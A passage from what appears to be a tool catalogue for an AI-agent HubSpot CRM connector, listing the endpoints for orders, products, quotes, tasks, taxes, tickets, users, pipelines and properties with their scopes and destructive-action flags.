/api/v1/hubspot/crm/v3/objects/orders/batch/create. Scopes: crm.objects.orders.write. hubspot_post_crm_v3_objects_orders_batch_read (read) — Read a batch of orders by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Orders are the Commerce Hub order object. Calls POST /crm/v3/objects/orders/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.read. POST /api/v1/hubspot/crm/v3/objects/orders/batch/read. Scopes: crm.objects.orders.read. hubspot_post_crm_v3_objects_orders_batch_update (write) — Update a batch of orders by internal ID, or unique property values. Update a batch of orders using their internal IDs or unique property values. Orders are the Commerce Hub order object. Calls POST /crm/v3/objects/orders/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. POST /api/v1/hubspot/crm/v3/objects/orders/batch/update. Scopes: crm.objects.orders.write. hubspot_post_crm_v3_objects_orders_batch_upsert (write) — Create or update a batch of orders by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Orders are the Commerce Hub order object. Calls POST /crm/v3/objects/orders/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. POST /api/v1/hubspot/crm/v3/objects/orders/batch/upsert. Scopes: crm.objects.orders.write. hubspot_post_crm_v3_objects_orders_search (read) — Search for orders in the CRM using various filters and sorting options to retrieve specific order data. Execute a search for orders using specified criteria and return matching results. Orders are the Commerce Hub order object. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/orders/search on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.read. POST /api/v1/hubspot/crm/v3/objects/orders/search. Scopes: crm.objects.orders.read. hubspot_post_crm_v3_objects_postal_mail (write) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls POST /crm/v3/objects/postal_mail on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/postal_mail. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_postal_mail_batch_archive (write, destructive) — DESTRUCTIVE. Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/postal_mail/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/postal_mail/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_postal_mail_batch_create (write) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls POST /crm/v3/objects/postal_mail/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/postal_mail/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_postal_mail_batch_read (read) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls POST /crm/v3/objects/postal_mail/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/postal_mail/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_postal_mail_batch_update (write) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls POST /crm/v3/objects/postal_mail/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/postal_mail/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_postal_mail_batch_upsert (write) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls POST /crm/v3/objects/postal_mail/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/postal_mail/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_postal_mail_search (read) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/postal_mail/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/postal_mail/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_products (write) — Create. Create a product with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard products is provided. Products are the product library entries line items are created from. Calls POST /crm/v3/objects/products on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. POST /api/v1/hubspot/crm/v3/objects/products. Scopes: crm.objects.products.write. hubspot_post_crm_v3_objects_products_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of products by ID. Archive multiple products at once by providing their IDs. This operation moves the specified products to the recycling bin, effectively removing them from active use without permanently deleting them. Products are the product library entries line items are created from. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/products/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. POST /api/v1/hubspot/crm/v3/objects/products/batch/archive. Scopes: crm.objects.products.write. hubspot_post_crm_v3_objects_products_batch_create (write) — Create a batch of products. Create multiple products in a single request by specifying their properties, and receive a response containing the details of the created products. Products are the product library entries line items are created from. Calls POST /crm/v3/objects/products/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. POST /api/v1/hubspot/crm/v3/objects/products/batch/create. Scopes: crm.objects.products.write. hubspot_post_crm_v3_objects_products_batch_read (read) — Read a batch of products by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Products are the product library entries line items are created from. Calls POST /crm/v3/objects/products/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.products.read. POST /api/v1/hubspot/crm/v3/objects/products/batch/read. Scopes: crm.objects.products.read. hubspot_post_crm_v3_objects_products_batch_update (write) — Update a batch of products by internal ID, or unique property values. Update multiple products in a single request using their internal IDs or unique property values. This batch operation allows for efficient modifications of product records by specifying the properties to be updated. Ensure that the provided property values are correct, as read-only and non-existent properties will result in an error. Products are the product library entries line items are created from. Calls POST /crm/v3/objects/products/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. POST /api/v1/hubspot/crm/v3/objects/products/batch/update. Scopes: crm.objects.products.write. hubspot_post_crm_v3_objects_products_batch_upsert (write) — Create or update a batch of products by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Products are the product library entries line items are created from. Calls POST /crm/v3/objects/products/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. POST /api/v1/hubspot/crm/v3/objects/products/batch/upsert. Scopes: crm.objects.products.write. hubspot_post_crm_v3_objects_products_search (read) — Search for products using specified criteria. Execute a search for products based on defined filters, properties, and sorting options. This endpoint allows for detailed querying of product data within the CRM, enabling users to retrieve specific product information by applying multiple filter groups and sorting criteria. Products are the product library entries line items are created from. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/products/search on api.hubapi.com. Requires the HubSpot scope crm.objects.products.read. POST /api/v1/hubspot/crm/v3/objects/products/search. Scopes: crm.objects.products.read. hubspot_post_crm_v3_objects_quotes (write) — Create. Create a quote with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard quotes is provided. Quotes are the customer-facing priced document generated from a deal and its line items. Calls POST /crm/v3/objects/quotes on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. POST /api/v1/hubspot/crm/v3/objects/quotes. Scopes: crm.objects.quotes.write. hubspot_post_crm_v3_objects_quotes_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of quotes by ID. Archive multiple quotes by their IDs in a single request, effectively moving them to the recycling bin. Quotes are the customer-facing priced document generated from a deal and its line items. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/quotes/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. POST /api/v1/hubspot/crm/v3/objects/quotes/batch/archive. Scopes: crm.objects.quotes.write. hubspot_post_crm_v3_objects_quotes_batch_create (write) — Create a batch of quotes. Create multiple quotes in a single request by providing a batch of quote objects, each with its own properties and optional associations. Quotes are the customer-facing priced document generated from a deal and its line items. Calls POST /crm/v3/objects/quotes/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. POST /api/v1/hubspot/crm/v3/objects/quotes/batch/create. Scopes: crm.objects.quotes.write. hubspot_post_crm_v3_objects_quotes_batch_read (read) — Read a batch of quotes by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Quotes are the customer-facing priced document generated from a deal and its line items. Calls POST /crm/v3/objects/quotes/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.read. POST /api/v1/hubspot/crm/v3/objects/quotes/batch/read. Scopes: crm.objects.quotes.read. hubspot_post_crm_v3_objects_quotes_batch_update (write) — Update a batch of quotes by internal ID, or unique property values. Update multiple quotes using their internal IDs or unique property values. This endpoint allows batch processing of quote updates, ensuring efficient management of multiple records in a single request. Quotes are the customer-facing priced document generated from a deal and its line items. Calls POST /crm/v3/objects/quotes/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. POST /api/v1/hubspot/crm/v3/objects/quotes/batch/update. Scopes: crm.objects.quotes.write. hubspot_post_crm_v3_objects_quotes_batch_upsert (write) — Create or update a batch of quotes by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Quotes are the customer-facing priced document generated from a deal and its line items. Calls POST /crm/v3/objects/quotes/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. POST /api/v1/hubspot/crm/v3/objects/quotes/batch/upsert. Scopes: crm.objects.quotes.write. hubspot_post_crm_v3_objects_quotes_search (read) — Search for quotes using specified criteria. Execute a search for quotes based on the criteria defined in the request body, such as filters, properties, and sorting options. This endpoint allows for detailed querying of quote records to retrieve specific data sets. Quotes are the customer-facing priced document generated from a deal and its line items. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/quotes/search on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.read. POST /api/v1/hubspot/crm/v3/objects/quotes/search. Scopes: crm.objects.quotes.read. hubspot_post_crm_v3_objects_tasks (write) — Create. Create a task with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard tasks is provided. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls POST /crm/v3/objects/tasks on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/tasks. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_tasks_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of tasks by ID. Archive a batch of tasks by their IDs, moving them to the recycling bin. This operation requires a list of task IDs to be provided in the request body. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/tasks/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/tasks/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_tasks_batch_create (write) — Create a batch of tasks. Create multiple tasks in a single request by providing a batch of task properties and associations. This endpoint allows for efficient task creation by processing multiple tasks together. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls POST /crm/v3/objects/tasks/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/tasks/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_tasks_batch_read (read) — Read a batch of tasks by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls POST /crm/v3/objects/tasks/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/tasks/batch/read. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_tasks_batch_update (write) — Update a batch of tasks by internal ID, or unique property values. Update multiple tasks in a single request using their internal IDs or unique property values. This operation allows you to modify the properties of each task in the batch, ensuring efficient management of task data. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls POST /crm/v3/objects/tasks/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/tasks/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_tasks_batch_upsert (write) — Create or update a batch of tasks by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls POST /crm/v3/objects/tasks/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/v3/objects/tasks/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_v3_objects_tasks_search (read) — Search for tasks using specified criteria. Execute a search for tasks based on the provided criteria, including filters, properties, and sorting options. This allows for retrieving tasks that match specific conditions or property values. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/tasks/search on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. POST /api/v1/hubspot/crm/v3/objects/tasks/search. Scopes: crm.objects.contacts.read. hubspot_post_crm_v3_objects_taxes (write) — Create. Create a tax with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard taxes is provided. Taxes applied to quotes, invoices and orders. Calls POST /crm/v3/objects/taxes on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/taxes. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_taxes_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of taxes by ID. Archive multiple taxes by their IDs in a single request. Taxes applied to quotes, invoices and orders. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/taxes/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/taxes/batch/archive. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_taxes_batch_create (write) — Create a batch of taxes. Create multiple tax records in a single request, each with specified properties and optional associations, and receive a response with details of the created objects. Taxes applied to quotes, invoices and orders. Calls POST /crm/v3/objects/taxes/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/taxes/batch/create. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_taxes_batch_read (read) — Read a batch of taxes by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. Taxes applied to quotes, invoices and orders. Calls POST /crm/v3/objects/taxes/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/taxes/batch/read. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_taxes_batch_update (write) — Update a batch of taxes by internal ID, or unique property values. Update multiple tax records using their internal IDs or unique property values. This operation allows for batch processing of updates to tax objects, ensuring efficient management of tax data in bulk. Taxes applied to quotes, invoices and orders. Calls POST /crm/v3/objects/taxes/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/taxes/batch/update. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_taxes_batch_upsert (write) — Create or update a batch of taxes by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Taxes applied to quotes, invoices and orders. Calls POST /crm/v3/objects/taxes/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. POST /api/v1/hubspot/crm/v3/objects/taxes/batch/upsert. Scopes: crm.objects.line_items.write. hubspot_post_crm_v3_objects_taxes_search (read) — Search for taxes using specified criteria. Execute a search for tax objects based on defined filters, sorting options, and properties to be included in the response. This allows for customized retrieval of tax data according to specific search parameters. Taxes applied to quotes, invoices and orders. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/taxes/search on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.read. POST /api/v1/hubspot/crm/v3/objects/taxes/search. Scopes: crm.objects.line_items.read. hubspot_post_crm_v3_objects_tickets (write) — Create. Create a ticket with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard tickets is provided. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls POST /crm/v3/objects/tickets on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of tickets by ID. Delete a batch of tickets by ID. Deleted tickets can be restored within 90 days of deletion. Learn more about [restoring records](https://knowledge.hubspot.com/records/restore-deleted-records). Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/tickets/batch/archive on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/batch/archive. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_batch_create (write) — Create a batch of tickets. Create a batch of tickets. The `inputs` array can contain a `properties` object to define property values for the ticket, along with an `associations` array to define [associations](https://developers.hubspot.com/docs/guides/api/crm/associations/associations-v4) with other CRM records. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls POST /crm/v3/objects/tickets/batch/create on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/batch/create. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_batch_read (read) — Read a batch of tickets by internal ID, or unique property values. Retrieve a batch of tickets by ID (`ticketId`) or unique property value (`idProperty`). Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls POST /crm/v3/objects/tickets/batch/read on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/batch/read. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_batch_update (write) — Update a batch of tickets by internal ID, or unique property values. Update a batch of tickets by ID (`ticketId`) or unique property value (`idProperty`). Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls POST /crm/v3/objects/tickets/batch/update on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/batch/update. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_batch_upsert (write) — Create or update a batch of tickets by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls POST /crm/v3/objects/tickets/batch/upsert on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/batch/upsert. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_merge (write, destructive) — DESTRUCTIVE. Merge two tickets. Merge two tickets, combining them into one ticket record. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. There is NO un-merge. HubSpot cannot separate merged records afterwards. Requires confirm="merge-records-irreversibly" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/v3/objects/tickets/merge on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/merge. Scopes: tickets. hubspot_post_crm_v3_objects_tickets_search (read) — Search for tickets. Search for tickets by filtering on properties, searching through associations, and sorting results. Learn more about [CRM search](https://developers.hubspot.com/docs/guides/api/crm/search#make-a-search-request). Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/tickets/search on api.hubapi.com. Requires the HubSpot scope tickets. POST /api/v1/hubspot/crm/v3/objects/tickets/search. Scopes: tickets. hubspot_post_crm_v3_objects_users (write) — Create. Create a user with the given properties and return a copy of the object, including the ID. Documentation and examples for creating standard users is provided. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls POST /crm/v3/objects/users on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. POST /api/v1/hubspot/crm/v3/objects/users. Scopes: crm.objects.users.write. hubspot_post_crm_v3_objects_users_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of users by ID. Archive multiple users by their IDs in a single request. This operation moves the specified users to the recycling bin, effectively deactivating them from active use. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. The inverse is the batch create on the same object family. Calls POST /crm/v3/objects/users/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. POST /api/v1/hubspot/crm/v3/objects/users/batch/archive. Scopes: crm.objects.users.write. hubspot_post_crm_v3_objects_users_batch_create (write) — Create a batch of users. Create multiple users in a single request by providing a batch of user properties and associations. This endpoint returns the created users along with their IDs. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls POST /crm/v3/objects/users/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. POST /api/v1/hubspot/crm/v3/objects/users/batch/create. Scopes: crm.objects.users.write. hubspot_post_crm_v3_objects_users_batch_read (read) — Read a batch of users by internal ID, or unique property values. Retrieve records by record ID or include the `idProperty` parameter to retrieve records by a custom unique value property. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls POST /crm/v3/objects/users/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.users.read. POST /api/v1/hubspot/crm/v3/objects/users/batch/read. Scopes: crm.objects.users.read. hubspot_post_crm_v3_objects_users_batch_update (write) — Update a batch of users by internal ID, or unique property values. Update multiple user records in a single request by specifying their internal IDs or unique property values. This operation allows for batch processing of user data, ensuring efficient updates across multiple user profiles. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls POST /crm/v3/objects/users/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. POST /api/v1/hubspot/crm/v3/objects/users/batch/update. Scopes: crm.objects.users.write. hubspot_post_crm_v3_objects_users_batch_upsert (write) — Create or update a batch of users by unique property values. Create or update records identified by a unique property value as specified by the `idProperty` query param. `idProperty` query param refers to a property whose values are unique for the object. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls POST /crm/v3/objects/users/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. POST /api/v1/hubspot/crm/v3/objects/users/batch/upsert. Scopes: crm.objects.users.write. hubspot_post_crm_v3_objects_users_search (read) — Search for users based on specified criteria. Execute a search for users using defined filters, properties, and sorting options. The request must include a search query and can return up to 200 results per request. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are OR-ed, filters inside a group are AND-ed), a sorts array and a properties array, and returns matching records with their ids. Filter operators are EQ, NEQ, LT, LTE, GT, GTE, BETWEEN, IN, NOT_IN, HAS_PROPERTY, NOT_HAS_PROPERTY, CONTAINS_TOKEN and NOT_CONTAINS_TOKEN. It is how an agent turns 'the deal for Acme' into a deal id, and almost every write in this connector needs an id that only a search or a list read can supply. Results are capped at 10,000 records and paged with `after`. Calls POST /crm/v3/objects/users/search on api.hubapi.com. Requires the HubSpot scope crm.objects.users.read. POST /api/v1/hubspot/crm/v3/objects/users/search. Scopes: crm.objects.users.read. hubspot_post_crm_v3_pipelines_by_objecttype (write) — Create a pipeline. Create a new pipeline with the provided property values. The entire pipeline object, including its unique ID, will be returned in the response. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls POST /crm/v3/pipelines/{objectType} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. POST /api/v1/hubspot/crm/v3/pipelines/{objectType}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_post_crm_v3_pipelines_by_objecttype_by_pipelineid_stages (write) — Create a pipeline stage. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls POST /crm/v3/pipelines/{objectType}/{pipelineId}/stages on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. POST /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_post_crm_v3_properties_by_objecttype (write) — Create a property. Create and return a copy of a new property for the specified object type. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls POST /crm/v3/properties/{objectType} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. POST /api/v1/hubspot/crm/v3/properties/{objectType}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_post_crm_v3_properties_by_objecttype_batch_archive (write, destructive) — DESTRUCTIVE. Archive a batch of properties. Archive a provided list of properties. This method will return a 204 No Content response on success regardless of the initial state of the property (e.g. active, already archived, non-existent). Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. The inverse is the batch create on the same object family. Calls POST /crm/v3/properties/{objectType}/batch/archive on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. POST 